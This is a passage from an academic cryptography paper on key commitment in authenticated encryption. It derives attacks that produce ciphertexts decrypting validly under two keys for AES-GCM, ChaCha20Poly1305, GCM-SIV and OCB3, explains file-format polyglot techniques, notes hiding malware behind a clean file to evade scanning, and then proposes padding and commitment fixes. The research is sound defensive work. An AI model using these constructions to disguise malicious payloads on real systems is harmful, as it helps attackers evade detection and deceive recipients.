which is the advantage of A in distinguishing f from g, where
f and g are viewed as random variables. The notation can be
extended to multiple oracles by setting O = (O1, . . . ,Ol).

We assume that all keyed functions do not change their
output length under different keys, that is, |FK(X)| is the same
for all K ∈ K. Given a keyed function F , define $F to be the
algorithm which, given X as input, outputs a string chosen
uniformly at random from the set of strings of length |FK(X)|
for any key K. When given the same input, $F returns the
same output. Often $F is called a random oracle.

3.2 Authenticated Encryption Schemes
Authenticated encryption with associated data, which we call
AE, consists of stateless, deterministic encryption (Enc) and
decryption (Dec) algorithms, where decryption may output
either plaintext or a single, pre-defined error symbol:

Enc : K×N×A×M→ C , (2)
Dec : K×N×A×C→M∪{⊥} , (3)

with K the keys, N the nonces, A the associated data, M
the messages, C the ciphertexts, and ⊥ an error symbol not
contained in M, which represents verification failure. It must
be the case that for all K ∈ K, N ∈ N, A ∈ A, M ∈M,

Dec(K,N,A,Enc(K,N,A,M)) = M . (4)

Let ΠK = (EncK ,DecK) be an AE scheme using key K. Let
Π$ := ($Enc,⊥) be an ‘idealized’ AE scheme with the same
interface as Π, where $Enc outputs uniform random strings
and⊥ only outputs⊥; let Π

$
1,Π

$
2, . . . denote independent, ide-

alized copies. Then the multi-key AE advantage of adversary
A against Π is

µ-AEΠ(A) := ∆
A

(
ΠK1 ,ΠK2 , . . . ,ΠKµ ; Π

$
1,Π

$
2, . . . ,Π

$
µ

)
, (5)

where K1, . . . ,Kµ are chosen independently and uniformly at
random, and A is nonce-respecting, meaning A never queries
the same nonce twice to Enc. Nonces may be repeated with
Dec. Furthermore, A cannot use the output of an ON

1 query
as the input to an ON

2 with the same nonce N.

3.3 AE Key Commitment Definition
Key committing AE schemes are ‘collision resistant’ in the
sense that it is computationally difficult to find two keys which
either encrypt two plaintexts to the same ciphertext, or, equiv-
alently, decrypt the same ciphertext to two plaintexts.

We follow Farshim et al.’s [FOR17] formalization
(‘CROB’). Since we focus on concrete bounds, we only
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define an adversary’s advantage in breaking an AE scheme’s
key commitment and refrain from defining when a scheme
‘commits to the key’. Our results allow users to pick parame-
ters according to their security needs.

Definition 1 (Key Commitment Advantage). Let Π =
(Enc,Dec) denote an AE scheme. Let A be an adversary inter-
acting with Π; let Q1,Q2, . . . denote the sequence of queries
A makes to either Enc or Dec, where Qi = (Ki,Ni,Ai,Mi,Ci)
and Enc(Ki,Ni,Ai,Mi) =Ci or Dec(Ki,Ni,Ai,Ci) = Mi. Then
A’s q-KC advantage against Π is the probability that there are
two queries Qi and Q j where Ki 6= K j, Ni = N j, Ci =C j 6=⊥,
Mi 6=⊥, M j 6=⊥, and i, j ≤ q.

3.4 Absence of Key Commitment in AE
schemes

We show that several commonly used AE schemes AES-GCM,
ChaCha20Poly1305, AES-GCM-SIV and OCB3 do not com-
mit to their keys. This property has been noted before for AES-
GCM and ChaCha20Poly1305 [LGR21]. Our attacks not only
confirm that key commitment does not follow from the usual
AE security properties, but also that protecting against key
commitment must be a conscious choice since some of the
most commonly used AE schemes do not guarantee it.

Apart from OCB, all these schemes produce ciphertext by
generating a (pseudorandom) key stream and XORing it with
the plaintext. Two different keys K1,K2 produce different key
streams S1,S2, and for a given ciphertext C this decrypts to
M1 = S1 +C and M2 = S2 +C. To mount a successful attack,
we have to ensure that the given C and authentication tag T
are valid so authentication passes.

We implemented the attacks on GCM-SIV and OCB3,
publicly available at https://github.com/kste/
keycommitment. Solving these system of equations is
very efficient and only takes ≈ 1 second using Sage 9.0 on an
Intel Xeon(R) W-2135 CPU @ 3.70GHz.

3.4.1 Polynomial MAC based schemes

We generalize Dodis et al.’s [DGRW18] AES-GCM attack to
schemes which compute a polynomial MAC over the cipher-
text, like ChaCha20Poly1305. The general construction we
consider is as follows:

1. Derive two keys (r1,s1) from K1 (resp. (r2,s2) from K2).

2. Split the ciphertext in blocks C[1], . . . ,C[m].

3. Compute the tag as T = s1 +∑
m
i=1 C[i] · rm−i

1 , where addi-
tion and multiplication are done over a finite field.

To generate valid tags with such an authentication scheme,
we have to ensure that the given ciphertext leads to the same
tag being computed under K1 and K2. We fix all ciphertext

blocks apart from a single block C[ j], which gives us the
following equation:

s1 +C[ j] · rm− j
1 +

m

∑
i=1,i 6= j

C[i] · rm−i
1 =

s2 +C[ j] · rm− j
2 +

m

∑
i=1,i 6= j

C[i] · rm−i
2 .

(6)

All the variables here are known to the adversary, therefore
this equation can be rearranged (note that we here assume
that this is a finite field of characteristic 2 as is the case in
most schemes used in practice) to isolate C[ j]

C[ j] · rm− j
1 +C[ j] · rm− j

2 = s1 + s2+
m

∑
i=1,i 6= j

C[i] · rm−i
1 +C[i] · rm−i

2 .
(7)

C[ j] · (rm− j
1 + rm− j

2 ) = s1 + s2+
m

∑
i=1,i 6= j

C[i] · rm−i
1 +C[i] · rm−i

2 .
(8)

C[ j] =(rm− j
1 + rm− j

2 )−1 · (s1 + s2+
m

∑
i=1,i6= j

C[i] · rm−i
1 +C[i] · rm−i

2 ),
(9)

which fully determines C and T . In the case of
ChaCha20Poly1305, additional restrictions have to be ful-
filled and we refer the reader to [LGR21] for a detailed de-
scription on how to handle those.

Instead of computing the polynomial MAC over the cipher-
text, AES-GCM-SIV computes it over the plaintext, which
is then XORed with the nonce and encrypted to get the tag
T (see [GLL19]). T is then further used as the first counter
block for encryption. In this case we will first pick T , which
fixes the corresponding key streams S1,S2. Next, we decrypt
the tag with K1,K2 and XOR the nonce to obtain T1 and T2:

T1 =
m

∑
i=1

M1[i] · rm−i
1 and T2 =

m

∑
i=1

M2[i] · rm−i
2 . (10)

Additionally, we have the condition that the ciphertext should
be equal after adding the key streams, therefore we get m
equations of the form

M1[1]+S1[1] = M2[1]+S2[1]
M1[2]+S1[2] = M2[2]+S2[2]

...
M1[m]+S1[m] = M2[m]+S2[m].

(11)

In total this gives us m+2 linear equations in 2m variables
(the plaintext blocks), which we can find a solution for if
m > 1. In general this still gives us a lot of freedom in the
message blocks as for longer messages we can fix parts and
still find a solution to the system of linear equations.
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3.4.2 OCB3

As a final example we consider OCB3 [KR14], which does not
follow the paradigm of creating a key stream and is therefore a
particularly interesting case. It is also one of the most efficient
AE schemes and has become popular in the variant θCB using
a tweakable block cipher. For example Deoxys [JNP15] from
the final CAESAR portfolio uses a similar mode and several
candidates in the ongoing NIST Lightweight Competition are
based on it.

We describe the OCB mode of operation [KR14, Rog04,
RBB03]. We do not include associated data as we do not
need it for the OCB attacks. The reference used for the fig-
ure, pseudocode, and notation below is from [RBB03]. Let
E : K×{0,1}n→{0,1}n be a block cipher and let τ denote
the tag length, which is an integer between 0 and n. Let
γ1,γ2, . . . be constants. The full paper [ADG+20] contains a
pseudocode description of OCB encryption with an accompa-
nying diagram.

Algorithm 1: OCBK(N,M)

Input: K ∈ {0,1}n, M ∈ {0,1}∗
Output: C ∈ {0,1}∗

1 M[1]M[2] · · ·M[m]
n←−M

2 L← EK(0n)
3 R← EK(N⊕L)
4 for i = 1 to m do
5 Z[i] = γi ·L⊕R
6 end
7 for i = 1 to m do
8 C[i]← EK(M[i]⊕Z[i])⊕Z[i]
9 end

10 X [m]← lenn(M[m])⊕L ·x−1⊕Z[m]
11 Y [m]← EK(X [m])
12 C[m]← Y [m]⊕M[m]
13 Checksum←M[1]⊕·· ·⊕M[m−1]⊕C[m]0∗n⊕Y [m]

14 T ←msbτ

(
EK(Checksum⊕Z[m])

)
15 return C[1] · · ·C[m]T

The tag is computed as a simple checksum which is then
encrypted. For the attack we can start with a similar approach
to AES-GCM-SIV and will first fix the tag T and the message
length m in order to be able to compute all the mask values Z.
We can then decrypt the tag under the two keys and apply the
mask which gives us

T1 =
m

∑
i=1

M1[i] and T2 =
m

∑
i=1

M2[i] . (12)

Each message block M[i] is encrypted as C[i] = EK(M[i]⊕
Z[i])⊕ Z[i] = EK,Z[i](M[i]) for some mask values Z[i] (the
concrete values for Z[i] are not important for the attack here,
and therefore it can also be instantiated with a tweakable

block cipher). Hence we get equations of the form

EK1,Z[1](M1[1]) = EK2,Z[1](M2[1])

EK1,Z[2](M1[2]) = EK2,Z[2](M2[2])
...

EK1,Z[m](M1[m]) = EK2,Z[m](M2[m]),

(13)

if we want to have the same ciphertext. However as these
equations are non-linear the approach used for AES-GCM-
SIV can not work here.

The total message length is m, and we will now split the
message blocks up into t + 1 blocks which we will need to
control for the attack, and m− t−1 blocks for the actual mes-
sage content. As a first step, we will ensure that T1 is correct,
by adding a message block M1[m− t] = T1⊕∑

m−t−1
i=1 M1[i].

As long as the remaining blocks after index m− t are
∑

m
i=m−t+1 M1[i] = 0 we get the correct tag T in the end for

M1. To get the correct T2 we can do the following:

• Generate two sets of messages A0,A1 of size t, where ∀a ∈
A0,a = 0 and ∀a ∈ A1,a = 1. We require here that t is even,
in order to have a checksum of 0.

• We encrypt those messages with K1, decrypt them with K2
and add them pairwise to obtain the values

γ j[i+1] =

E−1
K2,Z[m−t+2i+1](EK1,Z[m−t+2i+1](A j[2i+1]))+

E−1
K2,Z[m−t+2(i+1)](EK1,Z[m−t+2(i+1)](A j[2(i+1)])),

∀i, j : 0≤ i < t/2, j ∈ {0,1}.

(14)

• The next step is to find values xi ∈ {0,1}, such that

γx1 [1]+ . . .+ γxt/2 [t/2] = T2 +
m−t−1

∑
i=1

M2[i]. (15)

If we can find such values, then this will give us the correct
tag for T2.

• We can rewrite this equation to

t/2

∑
i=1

γ1[i]xi + γ2[i](1− xi) = T2 +
m−t

∑
i=1

M2[i]. (16)

• In order to solve this equation, we introduce a new variable
x and denote X [ j] as the jth bit of X . This gives us the
following system of linear equations over F2

t/2

∑
i=1

γ1[i][ j]xi + γ2[i][ j]xi = (T2 +
m−t

∑
i=1

M2[i])[ j]. 1≤ j ≤ b

xi + xi = 1 1≤ i≤ t/2.
(17)

Here, b is the blocksize of E. This gives us t/2+b equations
in 2b unknowns, therefore if we set t/2 > b+ 1 we get a
solution with a probability > 0.5.
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• Finally, we set

M1[m− t + i] =

{
0, if xbi/2c = 1
1, if xbi/2c = 1

1≤ i≤ t, (18)

and compute the corresponding values for M2. This guaran-
tees that both M1,M2 will give us the correct tag T .

4 Creating Meaningful Plaintexts

In the settings discussed in Section 2 the adversary seeks
a single ciphertext C and two keys K1 and K2 such that
Dec(K1,C) = P1 and Dec(K2,C) = P2 are meaningful mes-
sages in the relevant setting — we call such a ciphertext
ambiguous. Although we have demonstrated how to gener-
ate ambiguous ciphertext, ensuring it decrypts to meaningful
plaintext requires controlling bits in the resulting plaintexts.

In this section we demonstrate how to construct ambiguous
ciphertext which decrypts to different valid files, potentially
satisfying different formats. Crafting ambiguous ciphertext
requires understanding file format characteristics and how
they relate to each other, to satisfy the constraints imposed by
the cryptographic attacks. Below we discuss those constraints,
followed by a discussion of file format characteristics, and
how to structure the files.

4.1 Cryptographic Attack Constraints
Inclusion of random blocks to repair the tag. As dis-
cussed in Section 3.4, for AES-GCM and ChaCha20Poly1305
we need a single block fixed in both P1 and P2 at the same
position to repair the tag, while for AES-GCM-SIV this will
typically require 2 controlled blocks. For OCB we need on
average b+ 1 blocks where b is the blocksize of the block
cipher used.

Computational impact of fixing bits in the plaintext.
The plaintexts P1 and P2 must satisfy C = P1⊕S1 = P2⊕S2,
where S1,S2 are known to the adversary. Fixing a single bit
in P1 determines the corresponding bit in C, resp. P2.

If we want to set a bit position in P1 and have no require-
ment on that same bit in P2, then we can just do so. However,
controlling the same bit position in both P1 and P2, requires
finding a collision in the key streams S1 and S2 at this position.
See Figure 1 for an example.

OCB works on 16-byte blocks, therefore if we have condi-
tions in both P1 and P2 which fall into the same 16-byte block
this will also require brute-force to find the keys which can
fulfill these conditions simultaneously.

File formats will impose constraints on how our target plain-
texts P1 and P2 must be encoded and structured, and if there is
significant overlap in the bit positions of the constraints in P1
and P2 — the red bits of Figure 1 — then the cryptographic

P1

⊕S1

C
⊕S2

P2

1010............10101010..01

????????????????????????????

011110101001011.............

Figure 1: Example of constructing two plaintexts P1, P2 from
the generated key streams S1, S2 and the conditions on the
single bits. The keystreams are fixed and the adversary can
choose the ciphertext C to determine the plaintexts. A “?”
denotes a bit that can be freely chosen by the adversary, a “.”
that the bit can be any value in the plaintext, and “1”, “0” that
the bit should have this value. In this example the conditions
on the first 4 bits (red), would have to be fulfilled by finding
the two key stream S1,S2, while all the other conditions can
simply be solved by choosing the corresponding bits in C.

attacks become infeasible. Therefore, we need to minimize
the overlap in the constraints imposed by the file formats.

4.2 Binary versus near polyglots
Overlap in the plaintexts is not necessary if the 2 file formats
combined in the same ambiguous ciphertext can start at dif-
ferent offsets and leave enough place for each other — in this
case, the two formats could co-exist in plaintexts in a single
binary polyglot file.

Some combinations of file formats might not be able to co-
exist in a single file, and would require, for example, changing
a few bytes in the file header. We use the term near polyglot to
describe a pair of files, potentially satisfying different formats,
which differ in a few bytes. We call the bytes where the files
differ their overlap.

From a binary polyglot or from a near polyglot and its
overlap, one can create an ambiguous ciphertext by keeping
track of the ranges of the file that belong to which format,
encrypting each set of ranges separately and combining them
in a single file.

There are many file formats with their own requirements
and restrictions, but we found more than 280 working com-
binations of formats without overlap, and more than 50 with
overlap — in reasonable duration of bruteforcing.

4.3 File Format Characteristics
In this section, we introduce the aspects of file formats that are
important in generating binary polyglots and near polyglots.
We refer to [fil] for a description of the file formats referenced
below.

Enforced offset Most formats require files structure to start
at offset zero, but some formats allow files structure to start

USENIX Association 31st USENIX Security Symposium    3297



at any offset. Pure compressors — software which compress
one block of data with no notion of file such as Bzip2, Gzip or
XZ — typically start at offset zero, as does storage software
such as TAR or Unix Archive. Typically, archive formats such
as ZIP, RAR, 7z or Arj and flexible web-oriented formats such
as Html and PHP allow files structure to start at any offset.

Pre-cavity Some formats start with a cavity that can hold
any content. This could be by design, as with the raw dump
of sectors of an ISO image, or by courtesy, as for DICOM or
PDF, or by abuse, such as archiving a null-named file with
TAR or overwriting the deprecated DOS header of a Portable
Executable.

Appended data Once a parser has determined that a file
is complete, any data appended to the rest of the file is typ-
ically ignored. Most file formats have one or more ways of
determining whether a file is complete:

• The file size or the number of elements is declared in ad-
vance, such as in RIFF or Java Class.

• The format has a terminator or footer to declare that the file
structure is valid or that it should not be parsed any further.
For example, the terminator could be the last element with a
specific bit set, or any element with its pointer to the next ele-
ment set to null. Some formats like XZ actively check that the
file ends with its footer, but in practice, most parsers process
the file until a terminator is encountered and all subsequent
data is ignored.

• It is also possible to force the parser to terminate, for exam-
ple by exhausting a recursion limit by triggering an infinite
recursion on purpose.

• If the previous conditions are not met but at some point,
enough elements have been correctly parsed in the file to
declare it valid, the parser might consider it valid and ignore
any further missing or invalid data. Typically, truncating the
terminator is silently ignored.

Parasite Most file formats allow for parasitic data that is
left as-is and not parsed:

• Archive formats are like a stack of labelled storage boxes
(cf. Figure 2). To add parasitic data to such a file, just store
it, i.e. keep as-is without any compression (see Figure 3).
Optionally prevent the newly added file to show like the other
ones in the archive listing, by for example corrupting a check-
sum or giving it a null name. Note that some archive formats
like XZ always process the data with some light compression,
and therefore modify data even at their lowest compression
level, but often they implement storage without any form of
processing.

Magic

Header File Data

Archived file

Figure 2: Layout of an archive format (like AR).

M H D

File1

H D

FileN

M H D

Parasite

H D

File1

H D

FileN

Figure 3: Adding parasitic data to an archive format (like Fig-
ure 2).

• Sequence-based formats are like trains: one locomotive for
the header, and one or several wagons for the chunks(cf. Fig-
ure 4). To add anything in that train, just load your goods on
another wagon, and insert it in the train at any wagon bound-
ary(see Figure 5). For such formats, use a comment/junk
block. While a comment is typically expected to be text, short
and unique, such chunks can in practice contain anything,
with length which only limitation is how it is stored, and be
repeated: parsers just treat comments as data to ignore, they
do not count them or check their contents. If the format does
not have such a kind of element, it is still possible to rely on
redundant or unused element, such as an extra ILDA palette,
a picture in an RTF, or just a block of data in PDF. These
chunks typically declare their type and size before their data
— pre-wrapping — and occasionally store some extra informa-
tion — post-wrapping — after their data such as CRC, size
(redundantly for error detection), chunk terminator (see Fig-
ure 6). In some cases such as inline comments or unused
functions in PostScript, the data still has to follow some mi-
nor requirements, such as no newline characters or balanced
parenthesis.

CRC

Magic

Size Type Chunk Data

Chunk

Figure 4: Layout of a sequence format (like PNG).

• Some formats such as WAD or ICO are like books. They
have at the start a table of contents that points to each chapter.
If you just add more pages, just update the indexes in the
table of contents. Some formats such as TIFF or BMP are
like towed dinghies, where a tugboat just has a rope - a pointer
- to the next boat, and each boat is linked to the next by another
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C C

C C C

M S T D

Header

S T D

Data

M S T D

Header

S T D

Parasite

S T D

Data

Figure 5: Adding parasitic data to a sequence format (like Fig-
ure 4).

pre wrap. pre align. data
pre wrap.
(parasite) post align. post wrap.

Figure 6: Generic layout of a parasitic chunk.

rope. If you want to carry more, just put something between
two boats, and make the rope longer. In practice, you can for
example make some space that will be ignored by moving
format data further and adjusting all pointers accordingly
(see Figure 7).

Pointer

Pointer

Magic Data

Magic Parasite Data

Figure 7: Adding parasitic data to a pointer-based format.

Stopping parsers The parasite payload might be executed
but some trailing bytes might still be executed. It might be
better or even required to break out of the hosting format
(JavaScript) or to terminate parsing forcibly with some spe-
cific keyword in Ruby __END__ or PostScript stop or some
tricks such as forcing recursion and exhausting the parser.

Wrappending Some formats do not tolerate appended data
as they parse specific structures until the end of a file, but it is
still possible to add a trailing structure wrapping a parasite,
as most format structures are declared before the data they
contain. Such appended data wrapped in a structure we call
wrappended.

Wrappending needs to be used if a format that does not
tolerate appended data is used as a parasite into another one,
such as DICOM/PNG polyglots: PNG starts at offset zero,
DICOM at 128, so DICOM is a parasite of PNG, yet DICOM
does not tolerate appended data, so the body of the PNG
cannot be just following the DICOM parasite.

4.4 Polyglot combination strategies
Knowing the typical characteristics of file formats, we can
infer the following strategies to create a file valid according
to more than one format:

• Combining a format that starts with a cavity and another
format that tolerates appended or wrappended data. The cavity
should be big enough so that the other payload fits.

• Appending to a format tolerating appended — or wrap-
pended — data another format that is valid at a far enough
offset, after the first payload. This means that the feasibility
depends on the size of the first file.

• Inserting a format valid at a far enough offset as a parasite
inside another format. A chunk of it must be able to fit all the
parasite. Otherwise, it may be possible to split the parasite in
several pieces, making it a zipper: the pieces of each format
are parasites to the other.

Zippers Some formats like GIF start at offset zero and only
tolerate parasites of limited length, as the comment length is
encoded as a single byte — limited to 255 — which is likely
too small to contain a complete payload. A workaround for
that is to split the parasite payload in headers and parasite
declaration, so that the body of the host itself is a parasite to
the hosted file.

Therefore, both payloads’ bodies are parasite to each other.
They both set up the structure to tolerate the other’s body,
exactly like the teeth of each side of a zipper embrace the
other side’s teeth. This can be also extended to more than one
body, for example like splitting a JPEG image into hundreds
of scans — as opposed to the typical 1–6 — so that each of
them is small enough to fit in a parasite.

4.4.1 Binary polyglots

We see that it is usually possible for two different formats
to coexist in the same file without any overlap, therefore we
can avoid the computational costs associated with overlap
discussed in Section 4.1. In practice, few formats — two
to our knowledge: ID3v1 and XZ — cannot be made to
coexist with any other format: they enforce parsing at offset
zero, actively enforce a footer preventing appended data, and
prevent any form of parasite.

Binary polyglot files are instant to make, even generically:
some data has to be moved around, and some counters, point-
ers or checksums have to be updated. Our tool3 takes two
input files, identifies the supported file formats, then tries
different layouts and generates the final binary polyglot file.

We could take the next PDF article that you would want to
open, combine it with malware — even without the source
— and turn it into a standard PDF that once encrypted with

3redactedforanonymity
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the right key and then decrypted with another given key (both
known in advance), will result in the original malware.

It is easy to turn such a binary polyglot file into two valid
plaintexts that will be combined as the same ciphertext, using
the offsets where the file contents change side, and each side
does not depend on the contents of the other one (except
checksums of parasite chunks). It is like slicing two sausages
at the same locations and mixing their contents.

4.5 Crypto-polyglots

As mentioned before, near polyglots are invalid binary poly-
glots with interchangeable, overlapping data. The file type
changes depending upon which overlapping data is put in
the file. When the data is exchanged via a cryptographic
operation, we call these crypto-polyglots: files which are one
cryptographic step away from each other.4.

Each format has its own length requirements to declare its
type, header and declare a parasite (see Table 1). We only
need to deal with the minimum overlap of both formats; for
example, PE/JP2 ambiguous ciphertexts only have 2 bytes of
overlap, as PE requires 2 bytes of overlap even though JP2
requires 40.

Dodis et al. [DGRW18] create an ambiguous ciphertext us-
ing a JPEG-BMP near polyglot, which has 6 bytes of overlap.
We show in the full paper [ADG+20] that we can combine
most formats with PostScript with one byte of overlap at best
— otherwise 3 bytes. We also combined most formats with
Portable Executables with 2 bytes of overlap, and reduced the
overlap with JPEG files to 4 bytes.

Using twice the same format cancels this advantage, so it
is only possible for formats that can start at variable offset —
and make several instances of the same format coexist in the
same file.

Any formats requiring no controlled offset at zero can also
be combined with itself or another format, such as archives
like 7zip, Arj, Rar, Zip and cavities like Dicom, Iso, PDF.

Note that, since the two payloads of an ambiguous cipher-
text are not simultaneously in the clear, crypto-polyglots are
useful to bypass blacklisting and scanning: the malicious
payload is out of reach when the clean one is in clear.

4.5.1 Tag correction

In the case of AES-GCM, one block needs to be used to cor-
rect the authentication tag (see Section 4.1), respectively more
blocks are required for AES-GCM-SIV and OCB. In practice,
most formats support appended data, so just appending the
extra block(s) is enough. For the few formats that do not
tolerate appended data, wrappending, increasing the size of

4This concept is not limited to ambiguous ciphertexts : for example, the
two files of a hash collision pair (see [Alba]), or a file changing its type via
encryption (see [AA14])

the internal parasite, or using a small space of a cavity are ef-
fective solutions. They all depend on the formats combination
used in the file.

4.6 An Example Attack Scenario
Consider the scenario described in Section 2, Subscribe with
Google, but assume that the encryption scheme did not use a
key commitment. A malicious publisher wishing to exploit
the setting would want to display different premium content
to their premium users versus, for example, the search indexer
— perhaps to undermine the search indexer, or if the publisher
were compromised, then to display malicious content to the
premium users while minimizing detection.

To do so, the publisher would need to put two HTML pay-
loads in the same file, interleaved with comment declarations.
The layout of the generated ambiguous file is as follows :

<!--[cut 1]-->
[payload1]
<!--[cut 2]-->
[payload2]
<!--
[padding]
[tag correction]

Each payload will be commented out from the other. Given
the ambiguous file, the publisher creates a ciphertext which
when decrypted under one key will display only one payload
and garbled data for the other payload, the latter of which is
commented out. This is easy for the publisher to do as they
generate the keys used for encryption (see Section 2).

There’s a risk that encrypted content accidentally instan-
tiates a comment closing --> statement, in which case gen-
erating the file again with a different nonce should do the
trick.

The four first characters <!-- may show up as garbage once
encrypted, but it’s easy to hide them or make them disappear
with CSS or Javascript, for example with this script :

<div id=’mypage’>
Hello World!

</div>
<script language=javascript

type="text/javascript">
document.documentElement.innerHTML =
document.getElementById(’mypage’).innerHTML;

</script>

The full paper [ADG+20] shows an example ambigu-
ous HTML file, and its two different decryptions. The
ambiguous HTML file was generated with our htmhtm.py
tool; see https://github.com/corkami/mitra/blob/
master/utils/extra/htmhtm.md for the tools and an ex-
planation for how to generate our examples.
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1 2 4-6 8 9 12 16 20
PS PE JPG Flac MP4 Tiff Flv Wad Wasm Bpg Gif Nes Png Riff Id3v2

23 26 28 32 34 36 40 64 68 94 112 132
Rtf Bmp Cpio Ogg Ilda Psd Cab Jp2 PcapNg Elf Ar Pcap Ico Icc

Table 1: Required amount of controlled bytes at offset zero (best cases).

5 Adding Key Commitment to AE

5.1 Hash Function Use in Prior Work

Recall that key committing AE schemes (Enc,Dec) need to
be collision resistant, that is, it should be difficult to find
two inputs X = (K,N,A,M) and X ′ = (K′,N′,A′,M′) such
that Enc(X) = Enc(X ′). As we discuss below, all prior work
relies on schemes which explicitly or implicitly contain hash
functions to achieve collision resistance.

Farshim et al. [FOR17], the first to study key commit-
ment which they call “robustness”, propose generic compo-
sition — like encrypt-then-MAC [BN08] — which send ei-
ther the entire message or ciphertext into a collision-resistant
pseudorandom function (PRF). As a practical instantiation,
they propose using a hash function with a key, for example
HMAC [BCK96] or KMAC [NIS16].

Grubbs et al. [GLR17a] design compactly committing AE,
where a small portion of the ciphertext commits to the mes-
sage. Due to differences in security definitions, GLR’s com-
pactly committing AE does not formally guarantee FOR’s
robustness, yet GLR need collision resistance and, like FOR,
they propose using collision resistant PRFs which process the
entire message or ciphertext.

Dodis et al. [DGRW18] design encryptment schemes,
which they propose as a building block to achieve robust
or compactly committing AE. Their schemes are more effi-
cient than FOR and GLR’s, yet they still need to process the
message through a hash function, and even prove that block
cipher-based encryptment schemes cannot be more efficient
than hash functions. They also conjecture that block cipher-
based key robust schemes as defined by FOR cannot be more
efficient than hash functions.

There are two drawbacks to these approaches:

1. Since commonly used AE algorithms like AES-GCM and
ChaCha20Poly1305 do not follow the above hash-based de-
signs, avoiding attacks requires using less widely deployed
algorithms, or entirely new ones.

2. The performance of hash-based designs is limited by the
fact that commonly used hash functions are serial, whereas
widely used AE schemes are parallelizable. This becomes
an issue when the message or ciphertext is large, and in
fact led Facebook Messenger to rely on AES-GCM to en-
crypt message attachments, exposing the application to at-
tack [DGRW18].

Ideally, a solution would require minimal changes to widely
deployed, highly efficient AE schemes like AES-GCM.

5.2 Overview of Our Solutions
The message or ciphertext does not need to be processed as in
a hash-based design: if the ciphertext contains a commitment
to just the key, verified during decryption, then the adversary
cannot generate ciphertext valid under two keys. We propose
the following:

Padding Fix5. Let X denote an `-bit string of 0’s. Prepend
X to the message M for each encryption, Enc(K,N,A,X ‖M),
and check for the presence of X at the start of the message after
decryption; decryption fails if X is not present. This solution
is not generic, and must be analyzed per scheme. Furthermore,
it is implicitly assumed that X ‖M is a legitimate input to Enc,
i.e., that it is still shorter than the longest legitimate message.

Generic solution. Given a key K, derive an encryption key
and a commitment using collision-resistant PRFs: Kenc =
Fenc(K) and Kcom =Fcom(K). The ciphertext is a combination
of the normal ciphertext computed with Kenc and Enc, and
Kcom: (Enc(Kenc,N,A,M),Kcom). A nonce N′ can be used
to compute Kenc = Fenc(K,N′) or Kcom = Fcom(K,N′). The
presence or absence of N′ to derive Kenc and Kcom results in
four constructions named in Table 2.

5.3 Padding Fix
Our padding solution Pad`Π = (Pad`Π

Enc,Pad`Π
Dec) for

some predetermined integer ` > 0 and AE scheme Π =
(Enc,Dec) is algorithmically described in the full pa-
per [ADG+20]. We discuss the security of Pad`Π
when Π is instantiated with 96-bit-nonce AES-GCM and
ChaCha20Poly1305, followed by performance considera-
tions.

AE Security. Since the padding fix uses the underlying AE
scheme in a black-box manner, conventional AE security fol-
lows immediately. Note that the AE security bounds change
since the plaintext length increases by ` bits. However, for
all practical values of `, e.g. one or two block lengths, the
difference is negligible.

5Similar solution also proposed by Krawczyk [Kra19, Section 3.1.1]
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Key Commitment Security. An ideal cipher is a random
variable chosen uniformly at random from the set of all block
ciphers with interface K×X→ X

Theorem 1. Let Π denote GCM with 96-bit nonces using
ideal cipher π : K×X→ X as an idealization of AES. As-
sume that ` < 128 · (232−2), so that the `-bit padding does
not violate GCM’s message length constraint. Consider an
adversary A with access to π. Then A’s q-KC advantage
against Pad`Π is at most (q+ p)2/2`, where A makes at most
p queries to π.

The proof is in the full paper [ADG+20]. We recommend
` to be shorter than 4 · 128 = 512 bits, or four blocks, as
anything longer would exceed 256 bit security.

Theorem 2. Let Π denote ChaCha20Poly1305 using
ideal random function ρ : {0,1}256×{0,1}32×{0,1}96 →
{0,1}512 as an idealization of the ChaCha20 block function.
Consider an adversary A with access to ρ. Then A’s q-KC
advantage against Pad`Π is at most (q+ p)2/2`, where A
makes at most p queries to ρ.

Analysis of ChaCha20Poly1305 is similar to AES-
GCM since ChaCha20Poly1305 uses CTR mode (see the
full paper [ADG+20] for a pseudocode description of
ChaCha20Poly1305), but with the ChaCha20 block function
instead of AES.

Assumptions on the Underlying Primitives.
GLR [GLR17b] and DGRW [DGRW19] justify secu-
rity assuming either key-dependent message security,
related-key security, or by modelling the primitives as ideal.
Similarly, our analysis assumes the primitives are ideal.

To build a conventional AE scheme with a block cipher
or hash function, it suffices to assume that the underlying
primitive behaves like a PRP or PRF when keyed with a
uniformly random key unknown to the adversary. In con-
trast, supporting AE key commitment requires understanding
what happens when the adversary can choose the key used
in the block cipher or hash function. As a result, practical
instantiations require a stronger assumption on the underlying
primitives. Since the adversary can choose the key, related-
key attacks [Bih94] and known-key [KR07] or chosen-key
attacks become relevant.

In fact AE schemes might not achieve key commitment
when instantiated with weak primitives. Take for example
HMAC, which is commonly used to build AE with e.g. CTR-
mode. HMAC does not require a collision resistant hash
function, therefore the use of HMAC-SHA-1 could be justi-
fied, and it is still used in TLS in practice. However, if an
adversary can find a collision efficiently for the hash function
it is possible to find two different tags under two different keys
to break the key commitment. As chosen-prefix collisions are
practical for SHA-1 [LP20], HMAC-SHA1 is insufficient to

provide key commitment while this is not the case for HMAC
used with a collision resistant hash function.

In particular, the padding fix with AES-GCM assumes
an ideal cipher, and therefore raises the following interest-
ing problem: Is it possible to find two keys k1,k2 such that
AESk1(0) = AESk2(0) in less than ≈ 264 trials. If the key-
size is larger than the blocksize, then such a pair of keys must
exist. While there has been some work on the chosen-key
setting [FJP13] or using AES in a hashing mode [Sas11], we
are not aware of any results on this specific problem.

Performance. The performance overhead of the Padding
solution is minimal. Let TGCM(a, p) denote the performance
(e.g., in processor cycles, where smaller is better) for AES-
GCM encryption with a 128-bit key, over an input with AAD
A of length a blocks and message M of length p blocks. For
convenience, assume that A and M consist of full 128-bit
blocks, and set |A| = 128a and |M| = 128p for some a ≥ 0,
p≥ 0.

The performance of the Padding solution is TPad` GCM(a, p)
= TGCM(a, p+ d`/128e). The actual differences depends on
factors such as the computing platform, and potentially also
the values of a and p. For example, well aligned buffers may
fit better in the caches, and can be accessed more efficiently.

To illustrate, we consider a = 0 (no AAD) and measure-
ment carried out on OpenSSL (version 1.0.2m). This code
is optimized to leverage the potential pipelining that the pro-
cessor can offer. We ran the code on a 7th Generation Intel
Core i7-7700 processor (“Kaby Lake"). On this processor,
the latency of the AESENC instruction is 4 cycles. Given that
AES128 has ten rounds, and accounting for the initial whiten-
ing steps, the latency for AES encryption of one block is∼ 41
cycles (the throughput is 10 cycles).

For p = 128 (a 2048 bytes message) and `= 128, we mea-
sured T ′Pad` GCM(0,128) = 1,739 cycles and TGCM(0,128) =
